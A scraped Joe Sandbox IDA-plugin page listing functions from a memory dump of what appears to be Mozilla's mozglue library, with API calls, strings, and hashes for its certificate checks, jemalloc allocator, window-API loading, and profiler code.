Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: e03fe6881e3e59b999bfc4264ce2267efc13986c3aae6880d0cc58ae0d1ddf90
Instruction ID: 673602e8f352d8f7d6f3a71851b772028b436547dc83b80d0c51d0b56f0f595f
Opcode Fuzzy Hash: e03fe6881e3e59b999bfc4264ce2267efc13986c3aae6880d0cc58ae0d1ddf90
Instruction Fuzzy Hash: 95A2AD71A083808FC725CF69C88079FB7E5BFC9314F444A2DE89A97751DB74A909CB86

Function 6C5B6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C5B6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C5B6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C5B6D26

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C5B6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C5B6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C5B6D73
free.MOZGLUE(00000000), ref: 6C5B6D80
CertGetNameStringW.CRYPT32 ref: 6C5B6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C5B6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C5B6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C5B6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C5B6E10
CryptMsgClose.CRYPT32(00000000), ref: 6C5B6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C5B6E34
CreateFileW.KERNEL32 ref: 6C5B6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C5B6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C5B6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C5B709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C5B7103
free.MOZGLUE(00000000), ref: 6C5B7153
CloseHandle.KERNEL32(?), ref: 6C5B7176
__Init_thread_footer.LIBCMT ref: 6C5B7209
__Init_thread_footer.LIBCMT ref: 6C5B723A
__Init_thread_footer.LIBCMT ref: 6C5B726B
__Init_thread_footer.LIBCMT ref: 6C5B729C
__Init_thread_footer.LIBCMT ref: 6C5B72DC
__Init_thread_footer.LIBCMT ref: 6C5B730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C5B73C2
VerSetConditionMask.NTDLL ref: 6C5B73F3
VerSetConditionMask.NTDLL ref: 6C5B73FF
VerSetConditionMask.NTDLL ref: 6C5B7406
VerSetConditionMask.NTDLL ref: 6C5B740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C5B741A
moz_xmalloc.MOZGLUE(?), ref: 6C5B755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5B7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C5B7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C5B7598
free.MOZGLUE(00000000), ref: 6C5B75AC

Part of subcall function 6C5DAB89: EnterCriticalSection.KERNEL32(6C62E370,?,?,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB94
Part of subcall function 6C5DAB89: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DABD1

Strings

(, xrefs: 6C5B768A
wintrust.dll, xrefs: 6C5B72CD
SHA256, xrefs: 6C5B6EC0
CryptCATAdminReleaseCatalogContext, xrefs: 6C5B72C8

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: e9db18788376b837c45a8869f1589a6bef62bfba74220a25de14ae13e22b8532
Instruction ID: 5cee9659d234a717aa3a9afd9e7d910aa488b0cbc3a0cfb4499815407a786f80
Opcode Fuzzy Hash: e9db18788376b837c45a8869f1589a6bef62bfba74220a25de14ae13e22b8532
Instruction Fuzzy Hash: 1652F871A003149FEB21DF25CC94BAABBB8EF85704F104599E909A7640DB38AF85CF65

Function 6C5D6FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62E7DC), ref: 6C5D7019
LeaveCriticalSection.KERNEL32(6C62E7DC), ref: 6C5D7061
EnterCriticalSection.KERNEL32(?), ref: 6C5D71A4
LeaveCriticalSection.KERNEL32(?), ref: 6C5D721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C5D723E
EnterCriticalSection.KERNEL32(?), ref: 6C5D726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C5D72B2
LeaveCriticalSection.KERNEL32(?), ref: 6C5D733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C5D73E8
LeaveCriticalSection.KERNEL32(?), ref: 6C5D961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5D9622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5D9642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5D964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5D96CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5D96DB
AcquireSRWLockExclusive.KERNEL32(6C62E804), ref: 6C5D9747
GetSystemInfo.KERNEL32(?), ref: 6C5D9792
__Init_thread_footer.LIBCMT ref: 6C5D97A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C62E810,00000040), ref: 6C5D97CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E7B8,00001388), ref: 6C5D9838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E744,00001388), ref: 6C5D984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E784,00001388), ref: 6C5D9874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E7DC,00001388), ref: 6C5D9895

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5D9933, 6C5D9A33, 6C5D9A4E
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C5D9993
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5D99BD
MOZ_CRASH(), xrefs: 6C5D9B42
MALLOC_OPTIONS, xrefs: 6C5D97CA
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5D99A8
: (malloc) Unsupported character in malloc options: ', xrefs: 6C5D9BF4
<jemalloc>, xrefs: 6C5D9B33, 6C5D9BE3
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5D99D2
Compile-time page size does not divide the runtime one., xrefs: 6C5D9B38

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: 0a764a7ae00d2ffb893015a2689f6f7e38a6dc351534bedea0e12686ae0ae625
Instruction ID: db984b5c3d20c7c7087a8a5ab7252641f9035fc751112e8f37139f72e9cb07d8
Opcode Fuzzy Hash: 0a764a7ae00d2ffb893015a2689f6f7e38a6dc351534bedea0e12686ae0ae625
Instruction Fuzzy Hash: DE539C71A057018FD704CF2DC990615BBE1FF8A328F2AC6ADE8698B795D731E841CB85

Function 6C5E0DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5E0F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C5E0F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C5E0FB7
EnterCriticalSection.KERNEL32(?), ref: 6C5E0FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C5E1031
LeaveCriticalSection.KERNEL32(?), ref: 6C5E10D0
EnterCriticalSection.KERNEL32(?), ref: 6C5E117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C5E1C39
EnterCriticalSection.KERNEL32(6C62E744), ref: 6C5E3391
LeaveCriticalSection.KERNEL32(6C62E744), ref: 6C5E33CD
LeaveCriticalSection.KERNEL32(?), ref: 6C5E3431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5E3437

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5E3559, 6C5E382D, 6C5E3848
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C5E3793
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5E37BD
MOZ_CRASH(), xrefs: 6C5E3950
MALLOC_OPTIONS, xrefs: 6C5E35FE
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5E37A8
: (malloc) Unsupported character in malloc options: ', xrefs: 6C5E3A02
<jemalloc>, xrefs: 6C5E3941, 6C5E39F1
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5E37D2
Compile-time page size does not divide the runtime one., xrefs: 6C5E3946

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 834a93480f465204020fb9a3d153ab3dc3bf58be406ef50491b0408c13afe876
Instruction ID: 5f342d523127de6c28f03d1c147bdb87026a286910bcf43042b90002f6730f0d
Opcode Fuzzy Hash: 834a93480f465204020fb9a3d153ab3dc3bf58be406ef50491b0408c13afe876
Instruction Fuzzy Hash: 10538F71A057028FD304CF29C940616FBE1FF89328F29C66DE8A99B7A5D775E841CB81

Function 6C6055F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C5DE1A5), ref: 6C605606
LoadLibraryW.KERNEL32(gdi32,?,6C5DE1A5), ref: 6C60560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C605633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C60563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C60566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C60567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C605696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C6056B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C6056CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C6056E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C6056FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C605716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C60572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C605748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C605761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C60577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C605793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C6057A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C6057BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C6057D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C6057EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C6057FF

Strings

CreateSolidBrush, xrefs: 6C6057E4
LoadIconW, xrefs: 6C60575B
GetWindowDC, xrefs: 6C605710
GetDpiForWindow, xrefs: 6C605690
SetWindowPos, xrefs: 6C6056F7
DeleteObject, xrefs: 6C6057F9
AreDpiAwarenessContextsEqual, xrefs: 6C605637
GetMonitorInfoW, xrefs: 6C6057A2
ShowWindow, xrefs: 6C6056DE
GetSystemMetricsForDpi, xrefs: 6C605677
MonitorFromWindow, xrefs: 6C60578D
RegisterClassW, xrefs: 6C6056AC
FillRect, xrefs: 6C605729
EnableNonClientDpiScaling, xrefs: 6C605666
gdi32, xrefs: 6C60560A
GetThreadDpiAwarenessContext, xrefs: 6C60562D
StretchDIBits, xrefs: 6C6057CC
CreateWindowExW, xrefs: 6C6056C5
user32, xrefs: 6C605601
ReleaseDC, xrefs: 6C605742
SetWindowLongPtrW, xrefs: 6C6057B7
LoadCursorW, xrefs: 6C605774

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 5f31fe26e2d003e74035fbced6d182f54367423d02501a6350efa2aa51eff81e
Instruction ID: e1c1dbc385d333ab9905a20563842b1352d83a7447740f029dd45e8d96408e9b
Opcode Fuzzy Hash: 5f31fe26e2d003e74035fbced6d182f54367423d02501a6350efa2aa51eff81e
Instruction Fuzzy Hash: 7F512F707153239BDB049F368E9492A3AFCFF46385B144425AD62F2A55EB7CC8018F6D

Function 6C6034A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C60355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6035BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6035E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C60363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6036CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C60373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C60378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6038BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6039EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603EE2

Part of subcall function 6C606180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C6061DD
Part of subcall function 6C606180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C60622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6040F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C60412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C604157

Part of subcall function 6C606180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C606250
Part of subcall function 6C606180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C606292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C60441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C604448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C60484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C604863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C604878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C604896
free.MOZGLUE ref: 6C60489F

Strings

, xrefs: 6C604CD2

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: a77a4636c5e8f496d2a7e7b3d54850f007eb2ebb50ed04f86416adf89aa6c806
Instruction ID: 514d5fe999441bd1159f5f7daad6de1aa1c71b464e0b6611e837ccad0285a7c9
Opcode Fuzzy Hash: a77a4636c5e8f496d2a7e7b3d54850f007eb2ebb50ed04f86416adf89aa6c806
Instruction Fuzzy Hash: 1DF24C74908780CFC735CF29C18469AFBF1BF9A304F118A5ED989A7711DB719886CB46

Function 6C5EF070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5EF09B

Part of subcall function 6C5C5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5C56EE,?,00000001), ref: 6C5C5B85
Part of subcall function 6C5C5B50: EnterCriticalSection.KERNEL32(6C62F688,?,?,?,6C5C56EE,?,00000001), ref: 6C5C5B90
Part of subcall function 6C5C5B50: LeaveCriticalSection.KERNEL32(6C62F688,?,?,?,6C5C56EE,?,00000001), ref: 6C5C5BD8
Part of subcall function 6C5C5B50: GetTickCount64.KERNEL32 ref: 6C5C5BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C5EF0AC

Part of subcall function 6C5C5C50: GetTickCount64.KERNEL32 ref: 6C5C5D40
Part of subcall function 6C5C5C50: EnterCriticalSection.KERNEL32(6C62F688), ref: 6C5C5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C5EF0BE

Part of subcall function 6C5C5C50: __aulldiv.LIBCMT ref: 6C5C5DB4
Part of subcall function 6C5C5C50: LeaveCriticalSection.KERNEL32(6C62F688), ref: 6C5C5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C5EF155
GetCurrentThreadId.KERNEL32 ref: 6C5EF1E0
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF1ED
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF212
GetCurrentThreadId.KERNEL32 ref: 6C5EF229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EF231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C5EF248
GetCurrentThreadId.KERNEL32 ref: 6C5EF2AE
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF2BB
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF2F8

Part of subcall function 6C5DCBE8: GetCurrentProcess.KERNEL32(?,6C5A31A7), ref: 6C5DCBF1
Part of subcall function 6C5DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5A31A7), ref: 6C5DCBFA

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EF350
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF35D
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF381
GetCurrentThreadId.KERNEL32 ref: 6C5EF398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EF3A0
GetCurrentThreadId.KERNEL32 ref: 6C5EF489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EF491

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C5EF3CF

Part of subcall function 6C5EF070: GetCurrentThreadId.KERNEL32 ref: 6C5EF440
Part of subcall function 6C5EF070: AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF44D
Part of subcall function 6C5EF070: ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C5EF4A8
GetCurrentThreadId.KERNEL32 ref: 6C5EF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EF561
GetCurrentThreadId.KERNEL32 ref: 6C5EF577
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF585
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF5A3

Strings

[I %d/%d] profiler_pause_sampling, xrefs: 6C5EF3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C5EF56A
[I %d/%d] profiler_resume_sampling, xrefs: 6C5EF499
[I %d/%d] profiler_resume, xrefs: 6C5EF239

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: 12276fc93db9fb532e6e1549d4b0777858a09bc791726fd82e799b26cac81031
Instruction ID: 2b42dbcddee667c7de4eb933c4d2a3b15098744940708d25c611d259559f1f8a
Opcode Fuzzy Hash: 12276fc93db9fb532e6e1549d4b0777858a09bc791726fd82e799b26cac81031
Instruction Fuzzy Hash: 72D11871704314CFDB009F6AD884799B7B8EF8A368F10462AE95583B81DB785805CBAF

Function 6C5B64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

